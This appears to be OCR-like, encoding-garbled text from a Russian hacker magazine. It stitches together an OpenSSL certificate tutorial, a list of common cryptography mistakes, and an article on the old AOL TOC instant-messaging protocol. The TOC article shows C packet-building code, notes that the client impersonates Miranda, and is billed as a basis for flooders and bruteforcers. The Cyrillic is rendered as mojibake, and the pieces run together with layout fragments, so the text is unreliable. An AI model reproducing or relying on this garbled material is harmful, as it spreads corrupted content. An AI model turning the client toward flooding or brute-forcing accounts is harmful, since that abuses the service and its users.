Çà ãîäû îòëàäêè â ýòèõ ôóíêöèÿõ íå îñòàëîñü óÿçâèìîñòåé (ñèëüíî
ñêàçàíî - ñîãëàñåí), òàê ÷òî îíè ÷àñòî èñïîëüçóþòñÿ ðàçðàáîò÷èêà-
ìè: äëÿ ðåøåíèÿ êðèïòîãðàôè÷åñêèõ çàäà÷ ìíîãèå ïðîãðàììû ïîä
Linux'îì èñïîëüçóþò èìåííî âûçîâû OpenSSL. È âñå æå îñíîâíîé
çàäà÷åé ïðîòîêîëà SSL îñòàåòñÿ óñòàíîâêà áåçîïàñíîãî àóòåíòè÷-
íîãî çàøèôðîâàííîãî ñîåäèíåíèÿ. Ñåé÷àñ ìû ðàññìîòðèì íåáîëü-
øîé ïðèìåð. Äëÿ íà÷àëà ñîçäàé äâå ïàðû êëþ÷åé server.rsa (êëþ÷
ñåðâåðà) è CA.rsa (êëþ÷ öåíòðà ñåðòèôèêàöèè) òàê, êàê ïîêàçàíî
âûøå. Äàëåå íàáåðåì: 

openssl req �new �x509 �key CA.rsa �out CA.cert

Êîìàíäà req ôîðìèðóåò çàïðîñ íà ïîëó÷åíèå ñåðòèôèêàòà, à àðãó-
ìåíò �x509 ïðåîáðàçóåò ýòîò çàïðîñ â ñåðòèôèêàò ñòàíäàðòà
X.509. Äðóãèìè ñëîâàìè, êëþ÷ CA ïîäïèñûâàåòñÿ íà ñàìîì ñåáå,
÷òî, â îáùåì-òî, ëîãè÷íî: åñëè CA ñàì ñåáå íå äîâåðÿåò, ÷òî æå ãî-
âîðèòü î äðóãèõ :)?
Òåïåðü ñôîðìèðóåì çàïðîñ íà ïîëó÷åíèå ñåðòèôèêàòà äëÿ ñåðâåðà:

openssl req �new �key server.rsa �out server.req

Íà îñíîâå çàïðîñà ñôîðìèðóåì ñåðòèôèêàò: ïîäïèøåì çàïðîñ ñåê-
ðåòíûì êëþ÷îì CA è ïðîâåðèì ïîäïèñü:

openssl x509 �req �CA CA.cert �CAkey CA.rsa �CAcreateserial �in server.req �out server.cert
openssl verify �CAfile CA.cert server.cert

OPENSSL

Ñõåìà ïðîòîêîëà



íåïðàâèëüíî, òî âîçìîæíî èñïîëü-
çîâàíèå ñòàðîãî óäîñòîâåðåíèÿ. Åùå
îïàñíåå àòàêà íà ïðîãðàììó ïîëüçî-
âàòåëÿ � çàìåíà åå âíåøíåé êîïèåé,
êîòîðàÿ ê òîìó æå ñîõðàíÿåò ïàðîëè.
Íî, êàê òû ïîíèìàåøü, ýòî õàðàêòåð-
íî äëÿ âñåõ 
ïðîãðàìì.

×ÀÑÒÛÅ ÎØÈÁÊÈ
Ïåðåéäåì ê ñàìîé íàñóùíîé òåìå -

îøèáêàì â êðèïòîçàùèòå. ×àùå âñåãî
ê íèì îòíîñÿò ÷åëîâå÷åñêèé ôàêòîð
(ëåãêèå ïàðîëè), îøèáêè ïðàêòè÷åñ-
êîé ðåàëèçàöèè êðèïòîàëãîðèòìîâ
(áàãè :)), ëþêè è êîðîòêèå êëþ÷è. Òàê-
æå ðàññêàæó î íåêîòîðûõ ïðîáëåìàõ,
íå íàñòîëüêî çàìåòíûõ, íî íå ìåíåå
âàæíûõ. Åñëè áóäåøü ïðîåêòèðîâàòü
ñâîé ïðîòîêîë, íå çàáóäü î íèõ.

1. Äëèòåëüíîñòü æèçíè êëþ÷åé.
Êëþ÷è íóæíî ïîñòîÿííî îáíîâëÿòü.
Âðåìÿ æèçíè àñèììåòðè÷íîé ïàðû
çàâèñèò îò åå ðàçìåðà: ÷åì áîëüøå
êëþ÷, òåì äîëüøå åãî áóäóò ïîäáè-
ðàòü è òåì áåçîïàñíåå åãî èñïîëüçî-
âàíèå â îòâåäåííûé ïðîìåæóòîê âðå-
ìåíè. Íå ðåêîìåíäóåòñÿ èñïîëüçî-
âàòü ñèììåòðè÷íûå êëþ÷è áîëüøå
îäíîãî ðàçà.
2. Óìåíüøåíèå êðèïòîñòîéêîñòè

ïðè ãåíåðàöèè êëþ÷à èç êëþ÷åâîãî
ìàòåðèàëà. ×àñòî âìåñòî êëþ÷à èñ-
ïîëüçóåòñÿ ââåäåííûé ñ êëàâèàòóðû
ïàðîëü. Êàòåãîðè÷åñêè íå ðåêîìåíäó-
åòñÿ äåëàòü ýòî: ìíîæåñòâî êëþ÷åé
î÷åíü ñèëüíî ñóæàåòñÿ, áîëåå òîãî,
ñòàíîâÿòñÿ âîçìîæíûìè àòàêè ïî ñëî-
âàðþ. Â èäåàëå êëþ÷ äîëæåí áûòü
ñëó÷àéíûì èëè, ïî êðàéíåé ìåðå, ïà-

ðîëü äîëæåí ïîäâåðãàòüñÿ ñëîæíûì
ïðåîáðàçîâàíèÿì, ÷òîáû ðåçóëüòèðó-
þùèé êëþ÷ ïðîøåë âñå ñòàòèñòè÷åñ-
êèå òåñòû.
3. Èñïîëüçîâàíèå ñîáñòâåííûõ àë-

ãîðèòìîâ. Î÷åíü ÷àñòàÿ îøèáêà íà-
÷èíàþùèõ. Îñíîâíîå ïðàâèëî êðèï-
òîãðàôèè, ñôîðìóëèðîâàííîå åùå â
XIX âåêå, ãëàñèò: "Çíàíèå àëãîðèòìà
øèôðîâàíèÿ íå äîëæíî ñíèæàòü
êðèïòîñòîéêîñòè øèôðà". Ñðàçó
âñïîìèíàþòñÿ ïðîãðàììû â open
source: â íèõ ïîâûøåíèå çàùèùåí-
íîñòè èäåò ãîðàçäî áûñòðåå, ÷åì â
çàêðûòîì ÏÎ. Ìèð êðèïòîãðàôèè
çíàåò ìíîæåñòâî "çàùèùåííûõ" çàê-
ðûòûõ ïðîòîêîëîâ (ÿð÷àéøèé ïðè-
ìåð - WEP), âçëîìàííûõ èç-çà èõ íåï-
ðîäóìàííîñòè. Ïðîòèâîïîëîæíûé
ïðèìåð � ñòàíäàðò AES: êîíêóðñ áûë
äîëãîñðî÷íûì è îòêðûòûì, ñ ïðèâëå-
÷åíèåì òîëïû íåçàâèñèìûõ ýêñïåð-
òîâ. Â îáùåì, åñëè òû íå îêîí÷èë
ôàêóëüòåò ïðèêëàäíîé ìàòåìàòèêè ñ
êðàñíûì äèïëîìîì, òî íå ñàìîäåëü-
íè÷àé. Äàæå åñëè îêîí÷èë, òîæå íå
ñàìîäåëüíè÷àé :).
4. Îøèáî÷íûé âûáîð êëàññà êðèï-

òîàëãîðèòìà. Íàïðèìåð, ÷àñòî âìåñòî
õýøèðîâàíèÿ èñïîëüçóþò ñèììåòðè÷-
íîå øèôðîâàíèå íà ïîñòîÿííîì êëþ-
÷å. Íóæíî òâåðäî çàïîìíèòü, ÷òî
øèôðîâàíèå ÿâëÿåòñÿ îáðàòèìûì
ïðîöåññîì.
5. Ïîâòîðíîå íàëîæåíèå øèôðà.

Ïðè èñïîëüçîâàíèè ïîòî÷íûõ øèô-
ðîâ íèêîãäà íåëüçÿ ïðèìåíÿòü îäèí è
òîò æå êëþ÷åâîé ïîòîê äëÿ øèôðîâà-
íèÿ äâóõ ñîîáùåíèé. Â ýòîì ñëó÷àå
àòàêóþùèé ìîæåò ïåðåõâàòèòü ýòè ñî-
îáùåíèÿ è óçíàòü èõ xor-ðàçíîñòü, íà
îñíîâå êîòîðîé îáíàðóæèâàþòñÿ ñàìè
ñîîáùåíèÿ.
6. Õðàíåíèå êëþ÷à âìåñòå ñ äàííû-

ìè. Èìåííî ýòî ÷àñòî ñòàíîâèòñÿ ñà-
ìûì ñëàáûì çâåíîì âñåé êðèïòîñèñ-
òåìû. Çà÷åì âçëàìûâàòü àëãîðèòì
øèôðîâàíèÿ, åñëè êëþ÷ õðàíèòñÿ â
íàñòðîéêàõ ïðîãðàììû â ïðàêòè÷åñêè
íåçàùèùåííîì âèäå? Èäåàëüíûé âà-
ðèàíò � õðàíèòü êëþ÷ íà äèñêåòå,
flash'êå èëè smart-êàðòå, âñåãäà âûíè-
ìàòü íîñèòåëè èç óñòðîéñòâà è äåð-
æàòü èõ ïðè ñåáå (ê ñëîâó, èìåííî òàê
äåëàþò ìíîãèå èç êîìàíäû Ñïåöà è 
Õ :) � ïðèì. Ëîçîâñêîãî).
7. Îøèáêè ïðîåêòèðîâàíèÿ àëãî-

ðèòìîâ. Ñàìàÿ ñòðàøíàÿ ïðîáëåìà, è
íà íåé ñòîèò îñòàíîâèòüñÿ ïîäðîáíåå.
Ïåðå÷èòàåì ïóíêò 3 åùå ðàç. Òàê âîò,
ïðîôåññèîíàëüíûå êðèïòîãðàôû òî-
æå îøèáàþòñÿ. Íåçàäîëãî äî íàïèñà-
íèÿ ýòîé ñòàòüè ÿ íàøåë âåñüìà ëþ-
áîïûòíóþ èíôîðìàöèþ � ÷èòàé âðåç-
êó "Î øâåéöàðñêèõ ÷àñàõ" (ýòî áûëî
î÷åíü ñâåæî íà ìîìåíò íàïèñàíèÿ
ñòàòüè, à ñåé÷àñ, íàâåðíîå, èçâåñòíî
âñåì� ïðèì. Ëîçîâñêîãî).

Íó, âîò è âñå. Óäà÷è òåáå, åñëè áó-
äåøü ñîñòàâëÿòü ñâîé êðèïòîïðîòî-
êîë. Áóäóò âîïðîñû � ïèøè, ïîñòàðà-
þñü îòâåòèòü. E
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Ïàðàìåòð -CAcreateserial óêàçûâàåò íà íåîáõîäèìîñòü ñîçäàíèÿ
ôàéëà, â êîòîðîì áóäåò õðàíèòüñÿ ñåðèéíûé íîìåð ïîñëåäíåãî âû-
äàííîãî ñåðòèôèêàòà, åñëè åãî åùå íå ñóùåñòâóåò.
Òåïåðü ñàì ñôîðìèðóé çàïðîñ íà ïîëó÷åíèå ñåðòèôèêàòà äëÿ per-
sonal.rsa è âûäàé ñåðòèôèêàò. Òåïåðü ìîæíî óñòàíàâëèâàòü ñîåäè-
íåíèå. Çàïóñòèì äâà òåðìèíàëà. Â ïåðâîì íàáåðåì:

openssl s_server �cert server.cert �key server.rsa �CAfile CA.cert �state �accept 31337

Ýòà êîìàíäà îòêðîåò 31337-é ïîðò è áóäåò æäàòü êîííåêòà. Ïàðà-
ìåòð �state çàñòàâëÿåò âûâîäèòü âñå ñòàäèè ïðîòîêîëà, î êîòîðûõ ÿ
ãîâîðèë â ðàçäåëå "Ïðîòîêîë SSL".

Âî âòîðîé òåðìèíàëêå íàáåðåì:

openssl s_client �cert personal.cert -key personal.rsa �CAfile CA.cert �state �connect
127.0.0.1:31337

Âóàëÿ! Ñîåäèíåíèå óñòàíîâëåíî, òåïåðü ìîæíî îòïðàâëÿòü ñîîá-
ùåíèÿ � âñå îíè áóäóò øèôðîâàòüñÿ (óáåäèòüñÿ â ýòîì ìîæíî óêà-
çàâ ïàðàìåòð �debug). Îáðàòè âíèìàíèå íà ïîñëåäíþþ ñòðî÷êó: åñ-
ëè òàì íàïèñàíî 0 (ok), çíà÷èò, ñåðòèôèêàò âåðåí. Íà ñàìîì äåëå
s_client è s_cerver èñïîëüçóþòñÿ òîëüêî äëÿ ïðîâåðêè. Íî, êàê íè
êðóòè, çàùèùåííûé ÷àò òåò-à-òåò ìû ïîëó÷èëè :).

OPENSSL (ÏÐÎÄÎËÆÅÍÈÅ)

Áåçîïàñíîå ñîåäèíåíèå



Âîëüô Äàíèÿð aka payhash [AcidOptic]

Â 1998-1999 ãîäó ïðîãðàììèñòû èçðàèëüñêîé ôèðìû Mirabilis íàïèñàëè ïåðâóþ âåðñèþ ïðîòîêîëà ICQ. Â òî æå
âðåìÿ êîìïàíèÿ America Online, Inc. (AOL) ðàçðàáîòàëà ñâîþ âåðñèþ ïðîòîêîëà ìãíîâåííîãî îáìåíà ñîîáùåíèÿìè

ïîä êîäîâûì íàçâàíèåì TOC v0.1. Îá ýòîì áóäåò íàø ðàçãîâîð. 

ÇÀÁÛÒÛÉ 
ÏÐÎÒÎÊÎË ÎÒ AOL
INSTANT MESSENGER, FLOODER, BRUTEFORCER? ËÅÃÊÎ!

OC ðàçðàáàòûâàëñÿ êàê
ïðîòîêîë ïåðåäà÷è
ïðîñòûõ òåêñòîâûõ ñî-
îáùåíèé â ñåòè èíòåð-
íåò, è ñòàðûå âåðñèè

AIM ðàáîòàëè êàê ðàç ïî ýòîìó ïðîòî-
êîëó. Â íàøå âðåìÿ AIM Client (êàê è
ICQ, êîòîðàÿ òåïåðü òîæå ïðèíàäëå-
æèò AOL) ðàáîòàåò ñ íîâûì ïðîòîêî-
ëîì ïîä êîäîâûì íàçâàíèåì OSCAR.
Çà÷åì íàì íóæíî ðàçáèðàòü ñòàðûå
ïðîòîêîëû? Ïîÿñíÿþ: ñåðâåðû AOL è
ïî ñåé äåíü ïîíèìàþò ïðîòîêîë TOC.
Ñ êàêîé öåëüþ � îá ýòîì çíàþò, íàâåð-
íîå, òîëüêî ñàìè ðàáîòíèêè AOL. 

Âñå íàì èçâåñòåí çàìå÷àòåëüíûé
êëèåíò Miranda IM. Åñëè ïîâíèìàòåëü-
íåå ðàññìîòðåòü èñõîäíûé êîä ïëàãèíà
aim.dll, òî ìû óâèäèì, ÷òî ýòîò ïëàãèí
èñïîëüçóåò êàê ðàç ïðîòîêîë TOC ;), à
íå íîâîìîäíûé è íàâîðî÷åííûé
OSCAR.

Ñòàâëþ ïåðåä ñîáîé çàäà÷ó ðàçîá-
ðàòüñÿ â ïðîòîêîëå ÒÎÑ íà ïðàêòèêå.
Äëÿ òîãî ÷òîáû õîòü íåìíîãî ïðåóñ-
ïåòü â îáåùàííîì, íàïèøåì ñâîé
ïðîñòåíüêèé ICQ/AIM-êëèåíò, êîòîðûé
áóäåò ïîäêëþ÷àòüñÿ ê ñåðâåðó, àóòåí-
òèôèöèðîâàòüñÿ, îáðàáàòûâàòü òåêñ-
òîâûå ñîîáùåíèÿ êàê íà ïðèåì, òàê è
íà ïåðåäà÷ó. 

Êàêîâà ñòðóêòóðà ïàêåòà? Ïàêåò ñîñ-
òîèò èç çàãîëîâêà FLAP è îñòàëüíûõ
äàííûõ.

Äëèíà ôëýï ðàâíà øåñòè áàéòàì,
íóëåâîé áàéò - ýòî ïðîñòî çâåçäî÷êà,
êîòîðàÿ ñîîòâåòñòâóåò îäíîìó áàéòó.
Ñëåäóþùèì èäåò Frame Type (òèï ïà-
êåòà) - ýòî ïîëå íóæíî äëÿ òîãî, ÷òîáû
ñåðâèñ ÒÎÑ îïðåäåëèë, êàêîé òèï ïà-
êåòà ê íåìó ïðèøåë è ÷òî ñäåëàòü ñ
íèì; ïîëå çàíèìàåò ðîâíî îäèí áàéò.
Ïîëå Sequence Number çàíèìàåò äâà
áàéòà è ðàâíî íîìåðó îòïðàâëÿåìîãî
FLAP-ïàêåòà. Êàæäûé ðàç, êîãäà îòï-
ðàâëÿåòñÿ ôëýï, çíà÷åíèå ýòîãî ïîëÿ

óâåëè÷èâàåòñÿ íà åäèíèöó. Ïîñëåä-
íèé ïàðàìåòð ôëýï-ïàêåòà Data
Length îçíà÷àåò äëèíó ïîëåçíîãî ãðó-
çà; ðàçìåð ïîëÿ ðàâåí äâóì áàéòàì.

Êàêèå òèïû ÒÎÑ-ïàêåòîâ ñóùåñòâó-
þò? (Âî FLAP ýòî ïîëå ïåðâîãî áàéòà
Frame Type.)

Íàèáîëåå ðàñïðîñòðàíåíû òðè òèïà
ïàêåòîâ:
1. SIGNON íóæåí â ïðîöåññå àâòî-

ðèçàöèè.
2. DATA èñïîëüçóåòñÿ â ïðîöåññå

îñíîâíîé ïåðåäà÷è äàííûõ (òåêñò,
ôàéëû è ò.ä.).
5. KEEP_ALIVE ïðèõîäèò ñ ñåðâåðà,

÷òîáû ïðîâåðèòü, ïîäêëþ÷åí ëè êëè-
åíò ê ñåðâåðó (ñì. "Ôðàãìåíò 1").

ÏÎÄÊËÞ×ÀÉÑß!
×òî æå íóæíî ñäåëàòü, ÷òîáû

ïîäêëþ÷èòüñÿ ê ÒÎÑ(AIM)-ñåðâèñó è
ïîâèñåòü íà íåì? Êîíå÷íî æå, íå
îáîéòèñü áåç ïðèëîæåíèÿ, êîòîðîå
ñíà÷àëà ïîäêëþ÷èò íàñ íà ñåðâåð AIM
÷åðåç èíòåðíåò-ñîêåò (ñì. "Ôðàãìåíò
2"). Ýòî ëåãêî ðåàëèçóåòñÿ ÷åðåç
winsock.dll/winsock2.dll èëè ÷åðåç õå-
äåðû Berkeley (socket.h è ò.ä.) âûçîâà-
ìè socket è connect.

Ïðîèçîøëî ïîäêëþ÷åíèå ê ñåðâåðó
toc.oscar.aol.com ïîðò 9898, òåïåðü
íóæíî ïîñëàòü ïåðâîå ïðèãëàøåíèå
ñåðâèñó AIM â çíàê òîãî, ÷òî íåêòî
(ìû) èçúÿâëÿåò æåëàíèå íåìíîãî ïî-
îáùàòüñÿ. Äëÿ ýòîãî â ñîêåò ïðîñòî
îòñûëàåòñÿ êîìàíäà âèäà
"FLAPON\r\n\r\n": "Çåìëÿ-Çåìëÿ. ß
Ìàðñ. Âûçûâàþ âàñ íà ÷àò =)". Íà ýòîò
øèðîêèé æåñò ñåðâèñ AIM äîëæåí îò-
âåòèòü ïàêåòîì FLAP SIGNON: "Ìàðñ,
ýòî Çåìëÿ. Àóòåíòèôèöèðóéòåñü, ïî-
æàëóéñòà" (ïîñìîòðèì íà âðåçêó
"Ôðàãìåíò 3"). 

Åñëè âçÿòü â ðóêè ñåòåâîé ñíèôåð è
ïîñíèôèòü òîò æå ïëàãèí äëÿ Miranda
(aim.dll), ìû óâèäèì ñîäåðæèìîå ðèñ. 1.

Çäåñü FLAP SIGNON � ïàêåò, êîòîðûé
ñîñòîèò èç ôëýï-çàãîëîâêà è ãðóçà â
÷åòûðå áàéòà ñî çíà÷åíèåì 00 00 00
01 (ñäåëàíî èìåííî òàê, ÷òîáû êëèåíò
íà÷àë ïðîõîäèòü àâòîðèçàöèþ íà ñåð-
âèñå AIM).

Òåïåðü íóæíî ïîíÿòü, êàê ìû ñôîð-
ìèðóåì ïàêåò TOC(AIM) è êàê ïåðåäà-
äèì åãî íà ñåðâåð. Äëÿ ýòîãî âûäåëÿ-
þò íåîáõîäèìîå êîëè÷åñòâî áàéò â
ïàìÿòè, óêàçûâàþò íà íåãî óêàçàòåëü,
buf è íà÷èíàþò çàòàëêèâàòü â íåãî
äàííûå, êîòîðûå îòñûëàþòñÿ íà ñåð-
âåð AIM. Â îñíîâíîì ýòî FLAP-çàãîëî-
âîê è ïîëåçíûé ãðóç.

Çàòåì ìû âûäåëèì ìåñòî â ïàìÿòè
äëÿ äàííûõ buffer, êîòîðûå áóäóò ïðè-
õîäèòü ñ ñåðâåðà. Òóäà óæå ïîìåñòè-
ëè, è â çàâèñèìîñòè îò òèïà FLAP-çà-
ãîëîâêà êîä äîëæåí ïðîèçâîäèòü òå
èëè èíûå ìàíèïóëÿöèè.

Îáúÿâèì íåñêîëüêî íåñëîæíûõ
ôóíêöèé, êîòîðûå ñôîðìèðóþò
ÒÎÑ(AIM)-ïàêåò. 

Ñ ñåðâåðà ïðèøåë ïàêåò FLAP
SIGNON, òåïåðü ñåðâåðó íóæíî îòâå-
òèòü òåì æå FLAP SIGNON, íî íàø
FLAP SIGNON ñîäåðæèò çíà÷åíèå AIM
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Ñòðóêòóðà TOC(AIM)-ïàêåòà Òèïû ïàêåòîâ TOC(AIM)

ÇÀÁÛÒÛÉ ÏÐÎÒÎÊÎË ÎÒ AOL78 ÏÐÎÒÎÊÎË

Valid Frame Type Values

1   SIGNON

2   DATA

3   ERROR     (Not used by TOC)

4   SIGNOFF   (Not used by TOC)

5   KEEP_ALIVE

OOffffsseett SSiizzee TTyyppee

0 1 ASTERISK (literal ASCII '*')

1 1 Frame Type

2 2 Sequence Number

4 2 Data Length

Ðèñ. 1. Äàìï íà÷àëà ñåàíñà ñ TOC-ñåðâå-
ðîì TOC(AIM)

Ïàêåò TOC(AIM) â ïàìÿòè (buf)



Screenname èëè ICQ uin (âðåçêà
"Ôðàãìåíò 4"). 

Ïàêåò ôîðìèðóåòñÿ ñ ïîìîùüþ
ôóíêöèè encode_flapsigon, ñëåäîì ïî-
ñûëàåòñÿ ïàêåò toc_signon, ñôîðìèðî-
âàííûé ñ ïîìîùüþ ôóíêöèè
encode_toc_signon, â êîòîðóþ ïåðåäà-
þòñÿ óêàçàòåëü íà áóôåð buf, AIM
Screenname èëè ICQ uin è ïàðîëü.

Åñëè ïîñíèôèòü ïàêåòû, ïîëó÷èòñÿ
íå÷òî ïîõîæåå íà ðèñ. 2.

Ïàðîëü â ôóíêöèè
encode_toc_signon êðèïòóåòñÿ ñ ïî-
ìîùüþ ôóíêöèè roast_password ìåòî-
äîì XOR'ðèðîâàíèÿ ïàðîëÿ è ñòðîêè
"Tic/Toc". Â áóôåð buf çàïèñûâàþò êî-
ìàíäó toc_signon; àäðåñ è ïîðò ñåðâå-
ðà, íà êîòîðîì TOC-ñåðâèñ äîëæåí àâ-
òîðèçîâàòü íàñ; ëîêàë-êëèåíòà english;
íàçâàíèå êëèåíòà. Çàìàñêèðóåì åãî
ïîä Miranda, íå çàáûâàÿ çàïèñûâàòü â
êîíåö ïàêåòà íóëåâîé ñèìâîë.

Åñëè àâòîðèçàöèÿ ïðîøëà ãëàäêî, òî
ñåðâåð îòâåòèò ïàêåòîì
SIGN_ON:TOC1.0 (âåðñèÿ ïðîòîêîëà).

Ïîñëå ýòîãî â òå÷åíèå 30-òè ñåêóíä
íà ñåðâåð íóæíî ïîñëàòü êîìàíäó
toc_init_done (ñì. ôóíêöèþ
encode_toc_init_done). Íî ìû ïîéäåì
äðóãèì ïóòåì :). Åñëè ïðîñòî îòïðà-
âèòü êîìàíäó toc_init_done, ïðîèçîé-
äåò îáû÷íîå ïîäêëþ÷åíèå ê ñåðâåðó
è óñòàíîâèòñÿ ñòàòóñ ivisible: îòïðàâ-
ëÿòü è ïîëó÷àòü ñîîáùåíèÿ ïîëó÷èò-
ñÿ, íî ñòàòóñ áóäåò íå online. 

Íàïèøåì ÷åòûðå ôóíêöèè
encode_toc_add_permit,
encode_toc_add_deny,
encode_toc_set_config,
encode_toc_add_buddy. Ñ ïîìîùüþ
ýòèõ ôóíêöèé â áóôåðå buf ñîáåðåì
ïàêåò aim'ìà, êîòîðûé çàïðîñèò äëÿ
íàñ contact list è äîáàâèò íàñ â ñâîé
æå êîíòàêò, òåì ñàìûì ïåðåâåäÿ â ðå-
æèì online. Ôóíêöèÿ
encode_toc_add_permit ñîçäàñò çàï-
ðîñ íà ñåðâåð ïîëüçîâàòåëåé, êîòî-
ðûå ðàçðåøåíû â íàøåì contact list.
Ôóíêöèÿ encode_toc_add_deny äåëàåò
âñå íàîáîðîò (ban). 

Ôóíêöèÿ encode_toc_set_config ñ ïî-
ìîùüþ çàïðîñà toc_set_config âûçî-
âåò ñ ñåðâåðà AIM íàø contact list,
encode_toc_add_buddy äîáàâëÿåò ñå-
áÿ â ñâîé æå contact list, ÷òîáû ïî-
ïàñòü â ñòàòóñ online. È, êàê ÿ óæå ïè-
ñàë, ìû îáÿçàíû îòïðàâèòü ïàêåò,
ñôîðìèðîâàííûé ôóíêöèåé
toc_init_done ("Ôðàãìåíò 5"). Ïîñíè-
ôèì, ÷òîáû óâèäåòü ïîëíóþ êàðòèíó
ïðîèñõîäÿùåãî, êàê íà ðèñ. 3.

Ôóíêöèÿìè encode_toc_add_permit è
encode_toc_add_deny çàïðàøèâàþòñÿ
ïóñòûå access-ëèñòû, ôóíêöèåé
toc_set_config - contact list. ×òîáû ïî-
ëó÷èòü ñòàòóñ online, âûçûâàåì ôóíê-
öèþ encode_toc_add_buddy. 

Èòàê, âñå ýòî õîçÿéñòâî ñîáèðàåòñÿ
â îäèí áóôåð è îòïðàâëÿåòñÿ íà ñåð-
âèñ AIM  ("Ôðàãìåíò 4"). Åñëè âñå ñäå-
ëàíî ïðàâèëüíî, òî ñåðâåð äîëæåí
ïðèñëàòü contact list è ïðåäîñòàâèòü
çàâåòíûé ñòàòóñ online.

Îñòàåòñÿ ïðèäóìàòü, êàê ðåàëèçî-
âàòü ïðèåì è îòïðàâêó ñîîáùåíèé. Ñ
ïîìîùüþ ãëàâíîãî öèêëà, ÷åðåç êîòî-
ðûé ìû áóäåì ïîëó÷àòü âñå ïîñòóïàþ-
ùèå ñîîáùåíèÿ è âûâîäèòü èõ íà êîí-
ñîëü ("Ôðàãìåíò 6"). Åñëè ïîòðåáóåò-
ñÿ îòïðàâèòü ñîîáùåíèå, ñäåëàåì
ïðåðûâàíèå ñ êëàâèàòóðû, è íàì áó-
äåò ïðåäîñòàâëåí òåðìèíàë ïî ââîäó
òåêñòà (ñì. "Ôðàãìåíò 7"). 

Ôîðìèðîâàòü AIM-ïàêåò ñ ñîîáùå-
íèåì áóäåì ñ ïîìîùüþ ôóíêöèè
encode_toc_send_im, à âñå ïîñòóïàþ-
ùèå â ïîòîê äàííûå çàíåñåì â áóôåð
buffer. Òàê êàê ÿ â îñíîâíîì ðàáîòàþ
â ñðåäå UNIX è êëèåíò ó ìåíÿ êîíñîëü-
íûé, ÿ ïðèìåíèë ñèñòåìó ñèãíàëîâ.
Êîãäà êîä ïðîãðàììû óéäåò â öèêë,
îæèäàÿ âõîäÿùèå ñîîáùåíèÿ AIM-ïà-
êåòîâ, ìû óñòàíîâèì àñèíõðîííîå
ïðåðûâàíèå íà òîò ñëó÷àé, åñëè âäðóã
çàõî÷åòñÿ ïîñëàòü ñîîáùåíèå (ñì.
ôóíêöèþ onintr). 

ÊÎÄÈÌ-ÏÎÊÎÄÈÌ
Íó ÷òî æå, äóìàþ, ñ òåîðåòè÷åñêîé

÷àñòüþ ïîêîí÷åíî, è ìîæíî ïåðåéòè
íåïîñðåäñòâåííî ê âîäíûì ïðîöåäó-
ðàì, à èìåííî ê êîäèíãó. Ïðàâäà, âåñü
êîä íå ìîã âëåçòü â ñòàòüþ (ýòî è íå
íóæíî), ïîýòîìó ìíîãîå áûëî âûêèíó-

òî. Ïîëíàÿ âåðñèÿ èñõîäíèêà åñòü íà
äèñêå ê æóðíàëó, ïîýòîìó íà÷íåì ñðà-
çó ñ îïðåäåëåíèÿ ñåðâåðà è ïîðòà
AIM, êóäà íóæíî ïîäêëþ÷èòüñÿ, ñåð-
âåð è ïîðò àâòîðèçàöèè íà íåì äîë-
æåí àâòîðèçîâàòü ñåðâèñ AIM:

#define TOC_HOST "toc.oscar.aol.com"
#define TOC_PORT 9898
#define AUTH_HOST "login.oscar.aol.com"
#define AUTH_PORT 5190
// ßçûê(ëîêàëü) íà êîòîðîì äîëæåí îáùàòüñÿ
// íàø êëèåíò
#define LANGUAGE "english"
// Âåðñèÿ íàøåãî êëèåíòà, ìîæåò áûòü ëþáîå ñëîâî.
#define REVISION "Miranda"
/*
Ïåðåìåííàÿ äëÿ øèôðîâàíèÿ (xor'èðîâàíèÿ) íàøåãî
ïàðîëÿ, øèôðîâàòü ïàðîëü áóäåì ïðè ïîìîùè
ôóíêöèè roast_password.
*/
#define ROAST "Tic/Toc"

Ôðàãìåíò 11

/*
Îïðåäåëÿåì òèïû ôëýï-ïàêåòà
*/
#define TYPE_SIGNON 1
#define TYPE_DATA 2
#define TYPE_ERROR 3
#define TYPE_SIGNOFF 4
#define TYPE_KEEPALIVE 5

/* Ïåðâàÿ êîìàíäà, êîòîðàÿ äîëæíà óéòè íà ñåðâåð
(ñì. ôóíêöèþ send(sock, FLAPON, sizeof(FLAPON), 0)) */
#define FLAPON "FLAPON\r\n\r\n"
// Ïðîñòîé ìàêðîñ, êîòîðûé áóäåò çàïèñûâàòü â áó-
ôåð buf çíà÷åíèÿ â îäèí áàéò.
#define writeb(buf, value) (*buf=value, buf++)

Ïðîñòàÿ ôóíêöèÿ äëÿ çàïèñè â áó-
ôåð äâóõáàéòîâûõ çíà÷åíèé (2x8 ðàç-
ðÿäîâ). Íå çàáûâàåì, ÷òî â Ñåòè ñóùå-
ñòâóåò ñåòåâîå ñëåäîâàíèå áàéò, ïîý-
òîìó ìû äåëàåì êîíâåðñèþ ôóíêöèåé
htons:

static char *writew(char *buf, u_int16_t value)
{

*((u_int16_t *)buf)++ = htons(value);
return buf;

}

Ïðîñòàÿ ôóíêöèÿ äëÿ çàïèñè â áó-
ôåð ÷åòûðåõáàéòîâûõ çíà÷åíèé (4x8
ðàçðÿäîâ). Îïÿòü æå äåëàåì êîíâåð-
ñèþ, íî óæå ïðè ïîìîùè ôóíêöèè
htonl:

static char *writel(char *buf, u_int32_t value)
{

*((u_int32_t *)buf)++ = htonl(value);
return buf;

}

Ïðîñòàÿ ôóíêöèÿ äëÿ çàïèñè â áó-
ôåð ñòðîêîâûõ çíà÷åíèé (íàïðèìåð
îòïðàâëÿåìîå òåêñòîâîå ñîîáùåíèå).
Êîíâåðñèþ äåëàòü íå áóäåì, òàê êàê
çàïèñü â áóôåð áóäåò ïðîèñõîäèòü ñ
ïîìîùüþ ôóíêöèè memcpy ïî áàéòàì.
Âñå íåîáõîäèìîå îíà ñäåëàåò ñàìà:
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Ðèñ. 2. Äàìï ñ ïàêåòîì àâòîðèçàöèè íà
TOC(AIM)-ñåðâåðå

Ðèñ. 3. Äàìï ïàêåòà, íåîáõîäèìîãî äëÿ
çàïðîñà contact list'à è ñòàòóñà

Îòâåò ñ ñåðâåðà ïîñëå çàïðîñà íà con-
tact list è ñòàòóñ

Äàìï ïàêåòà àâòîðèçàöèè íà TOC(AIM)



static char *writes(char *buf, const char *data, int len)
{

memcpy(buf, data, len);
return buf+len;

}

Ñëîæíàÿ ôóíêöèÿ ïî ñáîðêå ôëýï-
ïàêåòà. Âèäèì, ÷òî ôóíêöèÿ èñïîëüçó-
åò ïðîñòûå ôóíêöèè, êîòîðûå îïèñà-
íû âûøå:

static char *flap_begin(char *buf, char frame)
{

static int seq = 0;
buf = writeb(buf, 0x2A);
buf = writeb(buf, frame);
buf = writew(buf, ++seq);
return buf+2;

}

